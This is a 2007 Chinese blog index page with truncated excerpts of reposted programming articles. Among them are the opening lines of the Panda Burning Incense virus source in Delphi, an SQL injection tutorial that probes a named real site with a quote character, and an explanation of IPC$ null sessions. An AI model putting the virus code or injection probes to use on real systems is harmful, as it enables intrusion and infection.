博文
句柄与ID的区别〔转〕(2007-06-19 22:49:00)
摘要:
在Windows程序设计中,句柄是无法精确定义的术语。随便找一个高手,让他给你讲讲句柄是什么,恐怕他都很难给你一个具体的定义来。
在Windows程序设计中,句柄无所不在,窗口有窗口的句柄HWND,线程和进程也有句柄HANDLE,甚至有人把套接字也称为句柄(我就是这样的)。
句柄在英文中是handle,作为动词讲是处理的意思。简而言之,句柄是处理对象的一个接口,对于程序中所涉及的对象,你可以通过句柄去操作他。你不应该试图去回答句柄是什么,而应该从务虚的角度去理解他,知道他干什么即可。
有人说,因为handle的定义是void *,因此他是一个指针。有些熟悉内核的人说这是一个索引。这些说法都是不准确的。需要注意的是,微软并没有精确定义句柄的含义,也许在某个特殊的操作系统中,他使用了一种内部含义,但是在其他版本中,就不保证这样了。任何对句柄的内在假设都可能导致灾难性的后果。
API是接口,句柄是接口,两者有什么区别?API是一个通用的函数族,他处理所有的对象,而句柄是和某个具体对象相关联的数据结构。只有借助句柄,API才知道处理哪个对象。
有些对象有ID。句柄表示特殊的对象,ID也表示某个对象,为什么要两个东西来表示?
首先,句柄不能唯一表示对象。一个对象可以有多个句柄。例如:假设我们用CreateProcess创建一个进程,该进程的第一个线程的句柄会返回给调用CreateProcess的进程。同时,在新创建的进程中,该线程也会有一个句柄。这样,这个线程就有两个句柄。我们也可以用DuplicateHandle复制一个句柄,这个句柄和原来句柄是不一样的,但是他们都表示同一个对象。而每个有ID的对象,在系统范围内,ID肯定是唯一的。
其次,句柄所能实现的功能ID不能实现。毕竟ID只是一个数字,他不能记录很多信息。而句柄可能在其内部结构中记录了很多信息(如权限、有无信号等)。
总之,如果试图解释他到底是什么,学习句柄就会误入歧途。从虚的角度去理解,对于新手是难一点,但是这也许是唯一正确的办法。
引用地址:http://blog.vckbase.com/arong/archive/2005/03/19/3732.aspx......
SQL注入[转](2007-04-21 17:04:00)
摘要:随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...
入门篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
一、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错......
Ipc$默认发生在win NT/2000环境下,win98将不在此次讨论之列。(2007-04-01 12:49:00)
摘要:IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。
三 什么是空会话
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结
果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?
空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需......
C++的随机函数Srand()(2007-03-25 19:33:00)
摘要:C++/c语言里,是没有办法得到一个真正的随机数序列的.想要等到一个真正的随机数序列,必须使用特定的随机数硬件发生器.也就是说,软件是没有办法产生真正的随机数.因为软件必须按照一定的逻辑来编写.既然是按照特定的逻辑(也就是说算法)来编写 ,那么产生的运算结果就是一定的.这一点,就是软件天生的特性.想想看,如果一个软件,同样的代码喝条件下,每次运行的结果不一样,那还有谁会用?
所以,在C++/C语言中,就有了"伪随机数"的概念.意思也就是说,通过一个特定的算法,产生一个假的随机数序列.那么,程序员又希望这个随机数序列跟接近真正的随机数序列,也就是希望得到的序列的不一样,所以有了一个"播种"的概念.
srand(unsgined int seed);
这个函数就是用来"播种"的.通过一个"种子"(SEED),来控制随机数的序列不一样.只要种子不一样,那么通过rand()得到的随机数序列就不一样.反过来说,如果种子一样,那么通过srand()得到的随机数就是一样的.
srand(0);
for( int i = 0; i < 10; i++)
{
cout<<rand()<<' ';
}
你试着将这个程序执行两次,你会发现两次的结果一样。那是因为,一旦“种子”确定了,那么这个随机数序列就确定了。软件天生的“行为可重复性”决定了这一点。
所以,一般在播种的时候,喜欢用一个随机的种子.在绝大多数的情况下,会使用当前的系统时间.这个数字在每次程序运行的时候都不一样.除非你手动的改系统时间.
----------------------------------------------------------------------------------......
熊猫烧香原代码(2007-03-17 09:14:00)
摘要:program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSi......
解决Sql Server2000程序安装被挂起的问题(2007-03-16 10:18:00)
摘要:有时安装SqlServer2000时,安装程序报告已经有挂起的安装程序,需要重启后再安装,这时需要重新启动计算机,但是,有时重新启动计算机后再安装时仍然出现此提示,致使无法继续安装。这时可以采用下列的办法完成系统安装。
进入注册表编辑器 REGEDIT
依次找到
HKEY_LOCAL_MACHINE ->SYSTEM ->CurrentControlSet ->Control ->Session Manager键值,在右边找到并双击“PendingFileRenameOperations”,删除其中的内容。
确定,取出注册表编辑器。
也可以把一下几行内容粘贴到记事本后,保存成“删除挂起.REG”后双击此文件即可。
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):00,00
原因分析:造成这个问题的主要原因是在以前安装SQL Server 2000或者其他软件的安装也可能会造成(不过主要是微软的软件)的过程中,中断了安装过程,于是就在系统中保留了安装信息,造成无法继续安装的问题。......
aspx和asp有什么区别(2007-03-15 23:06:00)
摘要: 服务器支持ASP,但是并一定就支持ASPX.ASPX可以说是ASP的升级版,其符合MIcrosoft公司最新的.NET战略及内部结构.具有开放式的特点.
另外.ASP页面只能使用JavaScript或者vbscript进行编写,而ASPX则没有这个限制,其理论上是支持使用任意评议进行编写,比如VC,VB
所以,服务器支持ASP,但是不一定就支持ASPX,而且对于IIS来讲,要支持ASPX也需要单独安装程序.IIS默认是不支持ASPX的.......
Linux开发中的常用命令(2007-03-13 10:29:00)
摘要:Linux开发中的常用命令
ls #以默认方式显示当前目录文件列表
ls –a #显示所有文件包括隐藏文件
ls –l #显示文件属性,包括大小,日期,符号连接,是否可读写及是否可执行
ls --color=never *.so > obj #不显示文字颜色,将所有so文件记录到obj文件中
cd dir #切换到当前目录下的dir目录 cd / #切换到根目录 cd .. #切换到到上一级目录 cd ../.. #切换到上二级目录 cd ~ #切换到用户目录,比如是root用户,则切换到/root下 rm file #删除某一个文件 rm -fr dir #删除当前目录下叫dir的整个目录 cp source target #将文件source 复制为 target cp /root/source . #将/root下的文件source复制到当前目录 cp –av soure_dir target_dir #将整个目录复制,两目录完全一样 cp –fr source_dir target_dir #将整个目录复制,并且是以非链接方式复制,当source目录带有符号链接时,两个目录不相同 mv source target #将文件source更名为target diff dir1 dir2 #比较目录1与目录2的文件列表是否相同,但不比较文件的实际内容,不同则列出 diff file1 file2 #比较文件1与文件2的内容是否相同,如果是文本格式的文件,则将不相同的内容显示,如果是二进制代码则只表示两个文件是不同的 comm file1 file2 #比较文件,显示两个文件不相同的内容 echo message #显示一串字符 echo "message message2" #显示不连续的字符串 cat: cat file #显示文件的内容,和DOS的type相同 cat file | more #显示文件的内容并传输到more程序实现分页显示,使用命令less file可实现相同的功能 more #分页命令,一般通过管道将内容传给它,如ls | more export LC_ALL=zh_CN.GB2312 #将环境变量LC_ALL的值设为zh_CN.GB2312 export DISPLAY=0:0 #通......
SQL语句(2007-03-12 14:51:00)
摘要:为了大家更容易理解我举出的SQL语句,本文假定已经建立了一个学生成绩管理数据库,全文均以学生成绩的管理为例来描述。
1.在查询结果中显示列名:
a.用as关键字:select name as '姓名' from students order by age
b.直接表示:select name '姓名' from students order by age
2.精确查找:
a.用in限定范围:select * from students where native in ('湖南', '四川')
b.between...and:select * from students where age between 20 and 30
c.“=”:select * from students where name = '李山'
d.like:select * from students where name like '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_李'或'_李_'。)
e.[]匹配检查符:select * from courses where cno like '[AC]%' (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%')
3.对于时间类型变量的处理
a.smalldatetime:直接按照字符串处理的方式进行处理,例如:
select * from students where birth > = '1980-1-1' and birth <= '1980-12-31'
4.集函数
a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小
5.分组group
......
浅淡批处理文件.(2007-03-10 20:47:00)
摘要:扩展名是bat(在NT/2000/XP/2003下也可以是CMD)的文件就是批处理文件.
首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分
时候就好像我们在DOS提示符下执行的命令一样),你可以使用DOS下的EDIT或者WINDOWS
的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件.
其次,批处理文件是一种简单的程序,可以通过条件语句(IF)和流程控制语句(goto)
来控制命令行的流程,在批处理中也可以使用循环语句(FOR)来循环执行一条命令.当然,批
处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的.批处理的
程序语句就是一条条的DOS命令(包括内部和外部命令),而批处理的能力主要取决于你所使用
的命令.
第三,每个编写的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的
DOS搜索路径(PATH)中来使得它可以在任意位置运行.一个良好的习惯是在硬盘上建立一个bat
或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path
中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序.
第四,在DOS和W.X/ME系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理
文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,
例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等.下面一个运行于Windows 98r
autoexec.bat的示例:
@echo off
path c:\windows;c:\windows\command;c:\batch
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
批处理的作用
简单的说,批处理的作用就是自动的连续执行多条命令.
......